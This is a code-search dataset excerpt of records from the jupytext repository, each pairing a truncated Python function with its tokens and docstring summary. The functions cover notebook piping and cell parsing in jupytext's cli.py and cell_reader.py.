https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L411-L447
train
Load the notebook with the inputs and outputs of the most recent paired files
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
pipe_notebook
def pipe_notebook(notebook, command, fmt='py:percent', update=True, preserve_outputs=True): """Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.""" if command in ['black', 'flake8', 'autopep8']: command = command + ' -' ...
python
def pipe_notebook(notebook, command, fmt='py:percent', update=True, preserve_outputs=True): """Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.""" if command in ['black', 'flake8', 'autopep8']: command = command + ' -' ...
[ "def", "pipe_notebook", "(", "notebook", ",", "command", ",", "fmt", "=", "'py:percent'", ",", "update", "=", "True", ",", "preserve_outputs", "=", "True", ")", ":", "if", "command", "in", "[", "'black'", ",", "'flake8'", ",", "'autopep8'", "]", ":", "co...
Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.
[ "Pipe", "the", "notebook", "in", "the", "desired", "representation", "to", "the", "given", "command", ".", "Update", "the", "notebook", "with", "the", "returned", "content", "if", "desired", "." ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L450-L483
train
Pipe the notebook in the desired representation to the given command. Update the notebook with the returned content if desired.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
uncomment
def uncomment(lines, prefix='#'): """Remove prefix and space, or only prefix, when possible""" if not prefix: return lines prefix_and_space = prefix + ' ' length_prefix = len(prefix) length_prefix_and_space = len(prefix_and_space) return [line[length_prefix_and_space:] if line.startswith...
python
def uncomment(lines, prefix='#'): """Remove prefix and space, or only prefix, when possible""" if not prefix: return lines prefix_and_space = prefix + ' ' length_prefix = len(prefix) length_prefix_and_space = len(prefix_and_space) return [line[length_prefix_and_space:] if line.startswith...
[ "def", "uncomment", "(", "lines", ",", "prefix", "=", "'#'", ")", ":", "if", "not", "prefix", ":", "return", "lines", "prefix_and_space", "=", "prefix", "+", "' '", "length_prefix", "=", "len", "(", "prefix", ")", "length_prefix_and_space", "=", "len", "("...
Remove prefix and space, or only prefix, when possible
[ "Remove", "prefix", "and", "space", "or", "only", "prefix", "when", "possible" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L24-L33
train
Remove prefix and space or only prefix when possible
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
paragraph_is_fully_commented
def paragraph_is_fully_commented(lines, comment, main_language): """Is the paragraph fully commented?""" for i, line in enumerate(lines): if line.startswith(comment): if line.startswith((comment + ' %', comment + ' ?', comment + ' !')) and is_magic(line, main_language): retur...
python
def paragraph_is_fully_commented(lines, comment, main_language): """Is the paragraph fully commented?""" for i, line in enumerate(lines): if line.startswith(comment): if line.startswith((comment + ' %', comment + ' ?', comment + ' !')) and is_magic(line, main_language): retur...
[ "def", "paragraph_is_fully_commented", "(", "lines", ",", "comment", ",", "main_language", ")", ":", "for", "i", ",", "line", "in", "enumerate", "(", "lines", ")", ":", "if", "line", ".", "startswith", "(", "comment", ")", ":", "if", "line", ".", "starts...
Is the paragraph fully commented?
[ "Is", "the", "paragraph", "fully", "commented?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L36-L44
train
Is the paragraph fully commented?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
next_code_is_indented
def next_code_is_indented(lines): """Is the next unescaped line indented?""" for line in lines: if _BLANK_LINE.match(line) or _PY_COMMENT.match(line): continue return _PY_INDENTED.match(line) return False
python
def next_code_is_indented(lines): """Is the next unescaped line indented?""" for line in lines: if _BLANK_LINE.match(line) or _PY_COMMENT.match(line): continue return _PY_INDENTED.match(line) return False
[ "def", "next_code_is_indented", "(", "lines", ")", ":", "for", "line", "in", "lines", ":", "if", "_BLANK_LINE", ".", "match", "(", "line", ")", "or", "_PY_COMMENT", ".", "match", "(", "line", ")", ":", "continue", "return", "_PY_INDENTED", ".", "match", ...
Is the next unescaped line indented?
[ "Is", "the", "next", "unescaped", "line", "indented?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L47-L53
train
Is the next unescaped line indented?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
count_lines_to_next_cell
def count_lines_to_next_cell(cell_end_marker, next_cell_start, total, explicit_eoc): """How many blank lines between end of cell marker and next cell?""" if cell_end_marker < total: lines_to_next_cell = next_cell_start - cell_end_marker if explicit_eoc: lines_to_next_cell -= 1 ...
python
def count_lines_to_next_cell(cell_end_marker, next_cell_start, total, explicit_eoc): """How many blank lines between end of cell marker and next cell?""" if cell_end_marker < total: lines_to_next_cell = next_cell_start - cell_end_marker if explicit_eoc: lines_to_next_cell -= 1 ...
[ "def", "count_lines_to_next_cell", "(", "cell_end_marker", ",", "next_cell_start", ",", "total", ",", "explicit_eoc", ")", ":", "if", "cell_end_marker", "<", "total", ":", "lines_to_next_cell", "=", "next_cell_start", "-", "cell_end_marker", "if", "explicit_eoc", ":",...
How many blank lines between end of cell marker and next cell?
[ "How", "many", "blank", "lines", "between", "end", "of", "cell", "marker", "and", "next", "cell?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L56-L66
train
Count how many blank lines between end of cell marker and next cell?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
last_two_lines_blank
def last_two_lines_blank(source): """Are the two last lines blank, and not the third last one?""" if len(source) < 3: return False return not _BLANK_LINE.match(source[-3]) and _BLANK_LINE.match(source[-2]) and _BLANK_LINE.match(source[-1])
python
def last_two_lines_blank(source): """Are the two last lines blank, and not the third last one?""" if len(source) < 3: return False return not _BLANK_LINE.match(source[-3]) and _BLANK_LINE.match(source[-2]) and _BLANK_LINE.match(source[-1])
[ "def", "last_two_lines_blank", "(", "source", ")", ":", "if", "len", "(", "source", ")", "<", "3", ":", "return", "False", "return", "not", "_BLANK_LINE", ".", "match", "(", "source", "[", "-", "3", "]", ")", "and", "_BLANK_LINE", ".", "match", "(", ...
Are the two last lines blank, and not the third last one?
[ "Are", "the", "two", "last", "lines", "blank", "and", "not", "the", "third", "last", "one?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L69-L73
train
Are the two last lines blank and not the third last one?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
BaseCellReader.read
def read(self, lines): """Read one cell from the given lines, and return the cell, plus the position of the next cell """ # Do we have an explicit code marker on the first line? self.metadata_and_language_from_option_line(lines[0]) if self.metadata and 'language' in sel...
python
def read(self, lines): """Read one cell from the given lines, and return the cell, plus the position of the next cell """ # Do we have an explicit code marker on the first line? self.metadata_and_language_from_option_line(lines[0]) if self.metadata and 'language' in sel...
[ "def", "read", "(", "self", ",", "lines", ")", ":", "# Do we have an explicit code marker on the first line?", "self", ".", "metadata_and_language_from_option_line", "(", "lines", "[", "0", "]", ")", "if", "self", ".", "metadata", "and", "'language'", "in", "self", ...
Read one cell from the given lines, and return the cell, plus the position of the next cell
[ "Read", "one", "cell", "from", "the", "given", "lines", "and", "return", "the", "cell", "plus", "the", "position", "of", "the", "next", "cell" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L105-L140
train
Read one cell from the given lines and return the cell and the position of the next cell plus the position of the next cell.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
BaseCellReader.metadata_and_language_from_option_line
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(self.start_code_r...
python
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(self.start_code_r...
[ "def", "metadata_and_language_from_option_line", "(", "self", ",", "line", ")", ":", "if", "self", ".", "start_code_re", ".", "match", "(", "line", ")", ":", "self", ".", "language", ",", "self", ".", "metadata", "=", "self", ".", "options_to_metadata", "(",...
Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.
[ "Parse", "code", "options", "on", "the", "given", "line", ".", "When", "a", "start", "of", "a", "code", "cell", "is", "found", "self", ".", "metadata", "is", "set", "to", "a", "dictionary", "." ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L142-L146
train
Parse code cell options on the given line and set self. metadata and self. language.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
BaseCellReader.find_cell_content
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, self.explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.metadata is None: ...
python
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, self.explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.metadata is None: ...
[ "def", "find_cell_content", "(", "self", ",", "lines", ")", ":", "cell_end_marker", ",", "next_cell_start", ",", "self", ".", "explicit_eoc", "=", "self", ".", "find_cell_end", "(", "lines", ")", "# Metadata to dict", "if", "self", ".", "metadata", "is", "None...
Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start
[ "Parse", "cell", "till", "its", "end", "and", "set", "content", "lines_to_next_cell", ".", "Return", "the", "position", "of", "next", "cell", "start" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L157-L215
train
Parse the cell till its end and set content and metadata to dict.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
MarkdownCellReader.find_cell_end
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.in_region: self.cell_type = 'markdown' for i, line in enumerate(lines): if self.end_region_re.match(line): return...
python
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.in_region: self.cell_type = 'markdown' for i, line in enumerate(lines): if self.end_region_re.match(line): return...
[ "def", "find_cell_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "in_region", ":", "self", ".", "cell_type", "=", "'markdown'", "for", "i", ",", "line", "in", "enumerate", "(", "lines", ")", ":", "if", "self", ".", "end_region_re", ".", ...
Return position of end of cell marker, and position of first line after cell
[ "Return", "position", "of", "end", "of", "cell", "marker", "and", "position", "of", "first", "line", "after", "cell" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L261-L321
train
Find the end of the cell marker and return the position of the first line after the cell marker and the position of the first line after the cell marker.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
RScriptCellReader.find_cell_end
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and lines[0].startswith("#'"): self.cell_type = 'markdown' for i, line in enumerate(lines): if not line.startswith("...
python
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and lines[0].startswith("#'"): self.cell_type = 'markdown' for i, line in enumerate(lines): if not line.startswith("...
[ "def", "find_cell_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "metadata", "is", "None", "and", "lines", "[", "0", "]", ".", "startswith", "(", "\"#'\"", ")", ":", "self", ".", "cell_type", "=", "'markdown'", "for", "i", ",", "line",...
Return position of end of cell marker, and position of first line after cell
[ "Return", "position", "of", "end", "of", "cell", "marker", "and", "position", "of", "first", "line", "after", "cell" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L381-L426
train
Return the position of the end of the cell marker and position of the first line after the cell marker and the position of the first line after the cell marker.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
LightScriptCellReader.find_cell_end
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and not (self.cell_marker_end and self.end_code_re.match(lines[0])) \ and paragraph_is_fully_commented(lines, self.comment, self.default_language): ...
python
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and not (self.cell_marker_end and self.end_code_re.match(lines[0])) \ and paragraph_is_fully_commented(lines, self.comment, self.default_language): ...
[ "def", "find_cell_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "metadata", "is", "None", "and", "not", "(", "self", ".", "cell_marker_end", "and", "self", ".", "end_code_re", ".", "match", "(", "lines", "[", "0", "]", ")", ")", "and"...
Return position of end of cell marker, and position of first line after cell
[ "Return", "position", "of", "end", "of", "cell", "marker", "and", "position", "of", "first", "line", "after", "cell" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L491-L507
train
Return position of end of cell marker and position of first line after cell
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
LightScriptCellReader.find_region_end
def find_region_end(self, lines): """Find the end of the region started with start and end markers""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' parser = StringParser(self.langu...
python
def find_region_end(self, lines): """Find the end of the region started with start and end markers""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' parser = StringParser(self.langu...
[ "def", "find_region_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "metadata", "and", "'cell_type'", "in", "self", ".", "metadata", ":", "self", ".", "cell_type", "=", "self", ".", "metadata", ".", "pop", "(", "'cell_type'", ")", "else", ...
Find the end of the region started with start and end markers
[ "Find", "the", "end", "of", "the", "region", "started", "with", "start", "and", "end", "markers" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L509-L557
train
Find the end of the region started with start and end markers.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
DoublePercentScriptCellReader.metadata_and_language_from_option_line
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(line[line.find('%...
python
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(line[line.find('%...
[ "def", "metadata_and_language_from_option_line", "(", "self", ",", "line", ")", ":", "if", "self", ".", "start_code_re", ".", "match", "(", "line", ")", ":", "self", ".", "language", ",", "self", ".", "metadata", "=", "self", ".", "options_to_metadata", "(",...
Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.
[ "Parse", "code", "options", "on", "the", "given", "line", ".", "When", "a", "start", "of", "a", "code", "cell", "is", "found", "self", ".", "metadata", "is", "set", "to", "a", "dictionary", "." ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L572-L578
train
Parse code cell options on the given line.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
DoublePercentScriptCellReader.find_cell_content
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.start_code_re.match(lines[0]) or se...
python
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.start_code_re.match(lines[0]) or se...
[ "def", "find_cell_content", "(", "self", ",", "lines", ")", ":", "cell_end_marker", ",", "next_cell_start", ",", "explicit_eoc", "=", "self", ".", "find_cell_end", "(", "lines", ")", "# Metadata to dict", "if", "self", ".", "start_code_re", ".", "match", "(", ...
Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start
[ "Parse", "cell", "till", "its", "end", "and", "set", "content", "lines_to_next_cell", ".", "Return", "the", "position", "of", "next", "cell", "start" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L583-L612
train
Parse the cell till its end and set content lines_to_next_cell.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
DoublePercentScriptCellReader.find_cell_end
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' next_cell ...
python
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' next_cell ...
[ "def", "find_cell_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "metadata", "and", "'cell_type'", "in", "self", ".", "metadata", ":", "self", ".", "cell_type", "=", "self", ".", "metadata", ".", "pop", "(", "'cell_type'", ")", "else", "...
Return position of end of cell marker, and position of first line after cell
[ "Return", "position", "of", "end", "of", "cell", "marker", "and", "position", "of", "first", "line", "after", "cell" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L614-L633
train
Return position of end of cell marker and position of first line after cell marker
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
SphinxGalleryScriptCellReader.start_of_new_markdown_cell
def start_of_new_markdown_cell(self, line): """Does this line starts a new markdown cell? Then, return the cell marker""" for empty_markdown_cell in ['""', "''"]: if line == empty_markdown_cell: return empty_markdown_cell for triple_quote in ['"""', "'''"]: ...
python
def start_of_new_markdown_cell(self, line): """Does this line starts a new markdown cell? Then, return the cell marker""" for empty_markdown_cell in ['""', "''"]: if line == empty_markdown_cell: return empty_markdown_cell for triple_quote in ['"""', "'''"]: ...
[ "def", "start_of_new_markdown_cell", "(", "self", ",", "line", ")", ":", "for", "empty_markdown_cell", "in", "[", "'\"\"'", ",", "\"''\"", "]", ":", "if", "line", "==", "empty_markdown_cell", ":", "return", "empty_markdown_cell", "for", "triple_quote", "in", "["...
Does this line starts a new markdown cell? Then, return the cell marker
[ "Does", "this", "line", "starts", "a", "new", "markdown", "cell?", "Then", "return", "the", "cell", "marker" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
